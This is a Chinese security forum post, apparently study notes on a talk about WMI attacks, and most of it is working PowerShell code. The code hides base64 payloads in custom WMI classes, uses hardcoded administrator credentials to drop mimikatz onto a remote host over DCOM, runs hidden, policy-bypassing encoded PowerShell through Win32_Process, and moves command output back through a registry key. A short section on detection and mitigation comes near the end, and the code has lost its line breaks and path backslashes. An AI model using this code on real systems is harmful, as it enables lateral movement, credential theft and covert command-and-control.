具 体 的 应 用 ： W M I   A t t a c k s   –   C 2   C o m m u n i c a t i o n   ( W M I   C l a s s )   –   “ P u s h ”   A t t a c k $ L o c a l F i l e P a t h   =   " C : W i n d o w s S y s t e m 3 2 c a l c . e x e " $ F i l e B y t e s   =   [ I O . F i l e ] : : R e a d A l l B y t e s ( $ L o c a l F i l e P a t h ) $ E n c o d e d F i l e C o n t e n t s T o D r o p   =   [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( $ F i l e B y t e s ) $ S t a t i c C l a s s   =   N e w - O b j e c t   M a n a g e m e n t . M a n a g e m e n t C l a s s ( ' r o o t c i m v 2 ' ,   $ n u l l , $ n u l l ) $ S t a t i c C l a s s . N a m e   =   ' W i n 3 2 _ E v i l C l a s s ' $ S t a t i c C l a s s . P u t ( ) $ S t a t i c C l a s s . P r o p e r t i e s . A d d ( ' E v i l P r o p e r t y ' , $ E n c o d e d F i l e C o n t e n t s T o D r o p ) $ S t a t i c C l a s s . P u t ( ) $ E n c o d e d P a y l o a d = ( [ W m i C l a s s ] ' W i n 3 2 _ E v i l C l a s s ' ) . P r o p e r t i e s [ ' E v i l P r o p e r t y ' ] . v a l u e # 将 c a l c   B a s e 6 4 吹 后 存 储 在 W i n 3 2 _ e v i l C l a s s   的   E v i l P r o p e r t y   中 # 怎 么 执 行 ？ # 这 里 给 出 两 种 执 行 方 式 ， 推 荐 存 储 的 是 p o w e r s h e l l 脚 本 ， 否 则 执 行 可 能 会 遇 到 问 题 $ P o w e r S h e l l P a y l o a d   =   " p o w e r s h e l l   - e p   b y p a s s   - N o L o g o   - N o n I n t e r a c t i v e   - N o P r o f i l e   - W i n d o w S t y l e   H i d d e n   - e n c   $ E n c o d e d P a y l o a d "   I n v o k e - W m i M e t h o d   - C l a s s   W i n 3 2 _ P r o c e s s   - N a m e   C r e a t e   - A r g u m e n t L i s t $ P o w e r S h e l l P a y l o a d $ P o w e r S h e l l P a y l o a d   =   " c m d   / k   $ E n c o d e d P a y l o a d " I n v o k e - W m i M e t h o d   - C l a s s   W i n 3 2 _ P r o c e s s   - N a m e   C r e a t e   - A r g u m e n t L i s t $ P o w e r S h e l l P a y l o a d #   P r e p   f i l e   t o   d r o p   o n   r e m o t e   s y s t e m $ L o c a l F i l e P a t h   =   ' C : W i n d o w s S y s t e m 3 2 c a l c . e x e ' # 当 然 这 个 路 径 可 以 设 置 一 个 网 络 上 的 路 径 $ F i l e B y t e s   =   [ I O . F i l e ] : : R e a d A l l B y t e s ( $ L o c a l F i l e P a t h ) $ E n c o d e d F i l e C o n t e n t s T o D r o p   =   [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( $ F i l e B y t e s ) #   E s t a b l i s h   r e m o t e   W M I   c o n n e c t i o n $ O p t i o n s   =   N e w - O b j e c t   M a n a g e m e n t . C o n n e c t i o n O p t i o n s $ O p t i o n s . U s e r n a m e   =   ' 0 d a y A d m i n i s t r a t o r ' $ O p t i o n s . P a s s w o r d   =   ' A d m i n ! @ # 4 5 ' $ O p t i o n s . E n a b l e P r i v i l e g e s   =   $ T r u e $ C o n n e c t i o n   =   N e w - O b j e c t   M a n a g e m e n t . M a n a g e m e n t S c o p e $ C o n n e c t i o n . P a t h   =   ' 1 9 2 . 1 6 8 . 3 . 1 4 2 r o o t d e f a u l t ' $ C o n n e c t i o n . O p t i o n s   =   $ O p t i o n s $ C o n n e c t i o n . C o n n e c t ( ) #   " P u s h "   f i l e   c o n t e n t s $ E v i l C l a s s   =   N e w - O b j e c t   M a n a g e m e n t . M a n a g e m e n t C l a s s ( $ C o n n e c t i o n ,   [ S t r i n g ] : : E m p t y , $ n u l l ) $ E v i l C l a s s [ ' _ _ C L A S S ' ]   =   ' W i n 3 2 _ E v i l C l a s s ' $ E v i l C l a s s . P r o p e r t i e s . A d d ( ' E v i l P r o p e r t y ' ,   [ M a n a g e m e n t . C i m T y p e ] : : S t r i n g ,   $ F a l s e ) $ E v i l C l a s s . P r o p e r t i e s [ ' E v i l P r o p e r t y ' ] . V a l u e   =   $ E n c o d e d F i l e C o n t e n t s T o D r o p $ E v i l C l a s s . P u t ( )
和 上 面 的 D a t a   S t o r a g e   相 似 ， 不 过 这 里 是 通 过 D C O M   远 程 连 接 ， 写 入 到 远 程 主 机 的   C l a s s   的   P r o p e r t i e s   中 ， 注 ： 笔 者 未 复 现 成 功 ， 但 是 @ 九 世 成 功 了 ， 我 的 系 统 是 W i n   1 0   1 8 0 9   ， 他 的 系 统 大 概 是 W i n d o w s   S e r v e r   2 0 0 8   R 2 不 要 误 会 这 一 节 的 标 题 ， 这 里 本 意 是 使 用 利 用 W M I   构 造 C 2   （ 下 同 ） ， 但 我 这 里 代 码 的 用 途 仅 仅 是 通 过   C l a s s   的   P r o p e r t i e s   储 存 数 据 。 参 考 ： W M I   B a c k d o o r ( h t t p s : / / j u e j i n . i m / p o s t / 5 a a 1 1 7 a 1 f 2 6 5 d a 2 3 8 4 4 0 2 9 4 9 ) 务 必 阅 读 这 篇 ， 该 篇 说 的 更 为 详 细 W M I   A t t a c k s   –   C 2   C o m m u n i c a t i o n   ( R e g i s t r y )   –   “ P u l l ”   A t t a c k $ E n c o d e d P a y l o a d = ( [ W m i C l a s s ]   ' W i n 3 2 _ E v i l C l a s s ' ) . P r o p e r t i e s [ ' E v i l P r o p e r t y ' ] . v a l u e $ P o w e r S h e l l P a y l o a d   =   " c m d   / k   $ E n c o d e d P a y l o a d "   I n v o k e - W m i M e t h o d   - C l a s s   W i n 3 2 _ P r o c e s s   - N a m e   C r e a t e   - A r g u m e n t L i s t   $ P o w e r S h e l l P a y l o a d # 需 要 再   1 9 2 . 1 6 8 . 3 . 1 4 2   上 执 行 ， 如 果 通 过 远 程 读 取 ， 需 要 对 应 用 户 凭 据 ( [ W m i C l a s s ] ' 1 9 2 . 1 6 8 . 3 . 1 4 2 : W i n 3 2 _ E v i l C l a s s ' ) . P r o p e r t i e s [ ' E v i l P r o p e r t y ' ] . v a l u e # 另 外 笔 者 测 试 手 里 ， 如 果 目 标 是 p o w e r s h e l l 脚 本 ， 推 荐 是 使 用 下 面 的 代 码 $ E n c o d e d P a y l o a d = ( [ W m i C l a s s ]   ' W i n 3 2 _ C o m m a n d ' ) . P r o p e r t i e s [ ' E v i l P r o p e r t y ' ] . V a l u e # P o w e r S h e l l 执 行 命 令 $ P o w e r S h e l l P a y l o a d   =   " p o w e r s h e l l   - e p   b y p a s s   - N o L o g o   - N o n I n t e r a c t i v e   - N o P r o f i l e   - W i n d o w S t y l e   H i d d e n   - e n c   $ E n c o d e d P a y l o a d "   I n v o k e - W m i M e t h o d   - C l a s s   W i n 3 2 _ P r o c e s s   - N a m e   C r e a t e   - A r g u m e n t L i s t   # 完 整 的 代 码 ， #   P r e p   f i l e   t o   d r o p   o n   r e m o t e   s y s t e m $ L o c a l F i l e P a t h = ’ C : U s e r s j e r r y m i m i k a t z . e x e ’ $ F i l e B y t e s = [ I O . F i l e ] : : R e a d A l l B y t e s ( $ L o c a l F i l e P a t h ) $ E n c o d e d F i l e C o n t e n t s T o D r o p = [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g   ( $ F i l e B y t e s ) #   E s t a b l i s h   r e m o t e   W M I   c o n n e c t i o n $ O p t i o n s = N e w - O b j e c t M a n a g e m e n t . C o n n e c t i o n O p t i o n s $ O p t i o n s . U s e r n a m e   = ’ 0 d a y A d m i n i s t r a t o r ’ $ O p t i o n s . P a s s w o r d   = ’ A d m i n ! @ # 4 5 ’ $ O p t i o n s . E n a b l e P r i v i l e g e s   = $ T r u e $ C o n n e c t i o n = N e w - O b j e c t M a n a g e m e n t . M a n a g e m e n t S c o p e $ C o n n e c t i o n . P a t h   = ’ 1 9 2 . 1 6 8 . 3 . 1 4 2 r o o t d e f a u l t ’ $ C o n n e c t i o n . O p t i o n s   = $ O p t i o n s $ C o n n e c t i o n . C o n n e c t ( ) #   “ P u s h ”   f i l e   c o n t e n t s $ E v i l C l a s s = N e w - O b j e c t M a n a g e m e n t . M a n a g e m e n t C l a s s ( $ C o n n e c t i o n , [ S t r i n g ] : : E m p t y , $ n u l l ) $ E v i l C l a s s [ ‘ _ _ C L A S S ’ ] = ’ W i n 3 2 _ E v i l C l a s s ’ $ E v i l C l a s s . P r o p e r t i e s . A d d ( ‘ E v i l P r o p e r t y ’ , [ M a n a g e m e n t . C i m T y p e ] : : S t r i n g , $ F a l s e ) $ E v i l C l a s s . P r o p e r t i e s [ ‘ E v i l P r o p e r t y ’ ] . V a l u e   = $ E n c o d e d F i l e C o n t e n t s T o D r o p $ E v i l C l a s s . P u t ( ) # $ C r e d e n t i a l = G e t - C r e d e n t i a l ’ W I N - B 8 5 A A A 7 S T 4 U A d m i n i s t r a t o r ’   这 是 原 版 代 码 ， 下 面 是 我 修 改 的 代 码 $ U s e r n a m e   = " 0 d a y A d m i n i s t r a t o r " $ P a s s w o r d   =   C o n v e r t T o - S e c u r e S t r i n g   " A d m i n ! @ # 4 5 "   - A s P l a i n T e x t   - F o r c e $ C r e d e n t i a l   =   N e w - O b j e c t   S y s t e m . M a n a g e m e n t . A u t o m a t i o n . P S C r e d e n t i a l $ U s e r n a m e , $ P a s s w o r d $ C o m m o n A r g s =   @ { C r e d e n t i a l   = $ C r e d e n t i a l C o m p u t e r N a m e   = ’ 1 9 2 . 1 6 8 . 7 2 . 1 3 4 ’ } #   T h e   P o w e r S h e l l   p a y l o a d   t h a t   w i l l   d r o p   t h e   s t o r e d   f i l e   c o n t e n t s $ P a y l o a d T e x t = @ ’ $ E n c o d e d F i l e   =   ( [ W m i C l a s s ]   ‘ r o o t d e f a u l t : W i n 3 2 _ E v i l C l a s s ’ ) . P r o p e r t i e s [ ‘ E v i l P r o p e r t y ’ ] . V a l u e [ I O . F i l e ] : : W r i t e A l l B y t e s ( ‘ C : U s e r s A d m i n i s t r a t o r m i m i k a t z . e x e ‘ , [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ E n c o d e d F i l e ) ) ‘ @ $ E n c o d e d P a y l o a d = [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( [ T e x t . E n c o d i n g ]   : : U n i c o d e . G e t B y t e s ( $ P a y l o a d T e x t ) ) $ P o w e r S h e l l P a y l o a d = ” p o w e r s h e l l   - N o P r o f i l e   - E n c o d e d C o m m a n d $ E n c o d e d P a y l o a d ” #   D r o p   t h e   f i l e   t o   t h e   t a r g e t   f i l e s y s t e m I n v o k e - W m i M e t h o d   @ C o m m o n A r g s   - C l a s s W i n 3 2 _ P r o c e s s - N a m e   C r e a t e   - A r g u m e n t L i s t   $ P o w e r S h e l l P a y l o a d #   C o n f i r m   s u c c e s s f u l   f i l e   d r o p G e t - W m i O b j e c t   @ C o m m o n A r g s   - C l a s s   C I M _ D a t a F i l e   - F i l t e r ’ N a m e   =   ‘ C : U s e r s A d m i n i s t r a t o r m i m i k a t z . e x e ‘ # 远 程 创 建 类 存 储 数 据 ， 远 程 使 用 P o w e r s h e l l 读 取 类 中 的 数 据 写 入 到 文 件 系 统 中 $ U s e r n a m e   = " 0 d a y A d m i n i s t r a t o r " $ P a s s w o r d   =   C o n v e r t T o - S e c u r e S t r i n g   " A d m i n ! @ # 4 5 "   - A s P l a i n T e x t   - F o r c e $ C r e d e n t i a l   =   N e w - O b j e c t   S y s t e m . M a n a g e m e n t . A u t o m a t i o n . P S C r e d e n t i a l $ U s e r n a m e , $ P a s s w o r d $ C o m m o n A r g s   =   @ { C r e d e n t i a l   =         $ C r e d e n t i a l         C o m p u t e r N a m e   =   ' 1 9 2 . 1 6 8 . 3 . 1 4 2 ' } $ H K L M   =   2 1 4 7 4 8 3 6 5 0 # H K E Y _ L O C A L _ M A C H I N E   =   2 1 4 7 4 8 3 6 5 0 （ 0 x 8 0 0 0 0 0 0 2 ） I n v o k e - W m i M e t h o d   @ C o m m o n A r g s   - C l a s s   S t d R e g P r o v   - N a m e   C r e a t e K e y   - A r g u m e n t L i s t   $ H K L M , ' S O F T W A R E E v i l K e y ' I n v o k e - W m i M e t h o d   @ C o m m o n A r g s   - C l a s s   S t d R e g P r o v   - N a m e   D e l e t e V a l u e   - A r g u m e n t L i s t   $ H K L M , ' S O F T W A R E E v i l K e y ' , ' R e s u l t ' # 在 远 程 主 机 上 新 建 注 册 表 项 和 值 R e s u l t
W M I   A t t a c k s   –   S t e a l t h y   C o m m a n d   “ P u s h ” 上 面 例 子 中 基 本 调 用 的 是   p o w e r s h e l l 或 c m d ， 在 笔 者 其 他 篇 中 提 到 过 E L K 配 合 s y s m o n ， 查 找 这 类 攻 击 很 容 易 ， 在 C o m m a n d - l i n e 中 查 找 即 可 ， 还 记 得 前 面 的 脚 本 E v e n t C o n s u m e r 使 用 的 都 是 C o m m a n d L i n e E v e n t C o n s u m e r ， 但 是 没 有 使 用   A c t i v e S c r i p t E v e n t C o n s u m e r , 如 果 使 用 该 类 执 行   V B S c r i p t ， 则 只 会 启 动 W M I 脚 本 宿 主 进 程 ： 和 原 演 讲 P P T 有 区 别 ， 这 部 分 是 我 在 阅 读 其 他 师 傅 的 博 客 得 到 的 表 述 ， 其 实 和 利 用 W M I   永 久 事 件   订 阅 相 同 ， 只 不 过 其 中   ` C o m m a n d L i n e   变 为 执 行 脚 本 。 如 何 构 造 V B S c r i p t ？ 相 关 框 架 可 以 自 动 生 成 ， 比 如 M S F 。 整 个 过 程 看 起 来 是 这 样 ：   E v e n t   f i l t e r   e x a m p l e :   _ _ I n t e r v a l T i m e r I n s t r u c t i o n （ 可 选 择 其 他 事 件 过 滤 器 ） E v e n t   c o n s u m e r   –   A c t i v e S c r i p t E v e n t C o n s u m e r E v e n t   F i l t e r T o C o n s u m e r B i n d i n g 等 待 P a y l o a d   执 行 ， 删 除 永 久 的 W M I   事 件 订 阅 （ 也 就 是 3 个 组 件 的 类 的 实 例 ） ， p a y l o a d 是 由 W M I 脚 本   宿 主 进 程 启 动 。 没 有 代 码 W M I   P r o v i d e r s 参 考 ： W M I   P r o v i d e r s   ( h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / w m i s d k / d e v e l o p i n g - a - w m i - p r o v i d e r ) 如 果 你 注 意 到 M S D N   文 档 ， W M I   P r o v i d e r s   有 着 详 细 的 开 发 文 档 （ 最 常 见 的 是 笔 记 本 厂 商 往 往 会 扩 展   W M I   P r o v i d e r s ) ， 如 果 构 造 出 恶 意 的   W M I   P r o v i d e r s   就 能 执 行 p a y l o a d 或 者 获 取 用 户 的 数 据 。 笔 者 这 反 面 了 解 甚 少 ， 这 里 演 讲 者 推 荐 了 几 个 项 目 E v i l W M I P r o v i d e r （ 已 4 0 4 ） ( h t t p s : / / g i t h u b . c o m / s u b T e e / E v i l W M I P r o v i d e r ) E v i l N e t C o n n e c t i o n W M I P r o v i d e r （ 最 后 一 次 更 新 是 5 年 前 ) ( h t t p s : / / g i t h u b . c o m / j a r e d c a t k i n s o n / E v i l N e t C o n n e c t i o n W M I P r o v i d e r ) 枚 举   W M I   P r o v i d e r s ： G e t - W m i P r o v i d e r . p s 1 ( h t t p s : / / g i s t . g i t h u b . c o m / m a t t i f e s t a t i o n / 2 7 2 7 b 6 2 7 4 e 4 0 2 4 f d 2 4 8 1 ) P o C   W M I   B a c k d o o r 掠 过 ， W M I   B a c k d o o r   未 放 出 源 代 码 ， 因 此 给 出 的 函 数 实 际 意 义 不 大 。 A t t a c k   D e f e n s e   a n d   M i t i g a t i o n s 参 考 ： T a l e s   o f   a   T h r e a t   H u n t e r   2 ( h t t p s : / / w w w . e i d e o n . c o m / 2 0 1 8 - 0 3 - 0 2 - T H L 0 3 - W M I B a c k d o o r s / ) 检 测 检 测   P o w e r s h e l l 或 其 他 工 具 查 询 对 应 的 类 ： F i l t e r 、 c o n s u m e r   、 F i l t e r T o C o n s u m e r B i n d i n g A u t o r u n s （ G U I   界 面 的 W M I 菜 单 栏 ） 相 关 文 章 ： 透 过 A u t o r u n s 看 持 久 化 绕 过 姿 势 的 分 享 （ 一 ） ( h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / n e t w o r k / 1 6 4 2 5 2 . h t m l ) 防 御 防 御 所 有 的 系 统 行 为 都 可 以 引 发 一 个 事 件 ， 包 括 前 面 的 创 建 / 删 除 W M I   永 久 事 件 订 阅 、 修 改 注 册 表 、 安 装   W M I   P r o v i d e r s   都 会 触 发 对 应 的 事 件 。 具 体 的 事 件 请 使 用   G e t - W m i O b j e c t   - C l a s s   * _ _ * e v e n t *   - l i s t   查 看 。 笔 者 的 思 路 为 ： 注 册 对 应 的 W M I   永 久 事 件 订 阅 ， 来 监 控 对 应 的 事 件 ， 动 作 设 置 为 写 入 日 志 或 其 他 （ 列 如 通 知 ）   注 ： 删 除 W M I   永 久 事 件 订 阅 本 身 也 可 以 触 发 事 件 缓 解 措 施 缓 解 措 施 禁 用 W M I 服 务 ： 可 以 会 影 响 依 赖 该 服 务 的 应 用 防 火 墙 限 制 端 口 日 志 由 于 W M I   服 务 涉 及   W i n R M 和 D C O M ， 所 以 需 要 查 看 3 种 服 务 的 日 志 ， 比 较 推 荐 使 用 s y s m o n   捕 获 日 志 $ P a y l o a d T e x t   =   @ ' $ P a y l o a d   =   { G e t - P r o c e s s   l s a s s } $ R e s u l t   =   &   $ P a y l o a d $ O u t p u t   =   [ M a n a g e m e n t . A u t o m a t i o n . P S S e r i a l i z e r ] : : S e r i a l i z e ( $ R e s u l t ,   5 ) # 查 阅 M S D N ， 发 现 这 是 一 种 序 列 化 对 象 的 方 法 $ E n c o d e d   =   [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t B y t e s ( $ O u t p u t ) )   S e t - I t e m P r o p e r t y   - P a t h   H K L M : S O F T W A R E E v i l K e y   - N a m e   R e s u l t   - V a l u e   $ E n c o d e d ' @ $ E n c o d e d P a y l o a d   =   [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( [ T e x t . E n c o d i n g ] : : U n i c o d e . G e t B y t e s ( $ P a y l o a d T e x t ) ) # 序 列 化 后 对 象 之 后 编 码 为 B a s e 6 4 $ P o w e r S h e l l P a y l o a d   =   " p o w e r s h e l l   - N o P r o f i l e   - E n c o d e d C o m m a n d   $ E n c o d e d P a y l o a d "   I n v o k e - W m i M e t h o d   @ C o m m o n A r g s   - C l a s s   W i n 3 2 _ P r o c e s s   - N a m e   C r e a t e   - A r g u m e n t L i s t   $ P o w e r S h e l l P a y l o a d $ R e m o t e O u t p u t   =   I n v o k e - W m i M e t h o d   @ C o m m o n A r g s   - C l a s s   S t d R e g P r o v   - N a m e   G e t S t r i n g V a l u e   - A r g u m e n t L i s t   $ H K L M , ' S O F T W A R E E v i l K e y ' , ' R e s u l t ' $ E n c o d e d O u t p u t   =   $ R e m o t e O u t p u t . s V a l u e $ D e s e r i a l i z e d O u t p u t   =   [ M a n a g e m e n t . A u t o m a t i o n . P S S e r i a l i z e r ] : : D e s e r i a l i z e ( [ T e x t . E n c o d i n g ] : : A s c i i . G e t S t r i n g ( [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ E n c o d e d O u t p u t ) ) ) # 将 $ E n c o d e d O u t p u t   解 码 ， 进 行 反 序 列 化 ， 笔 者 测 试 失 败 ， 遇 到 错 误 ， 有 成 功 运 行 的 师 傅 麻 烦 指 教 下 。 % S y s t e m R o o t % s y s t e m 3 2 w b e m s c r c o n s . e x e   - E m b e d d i n g
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理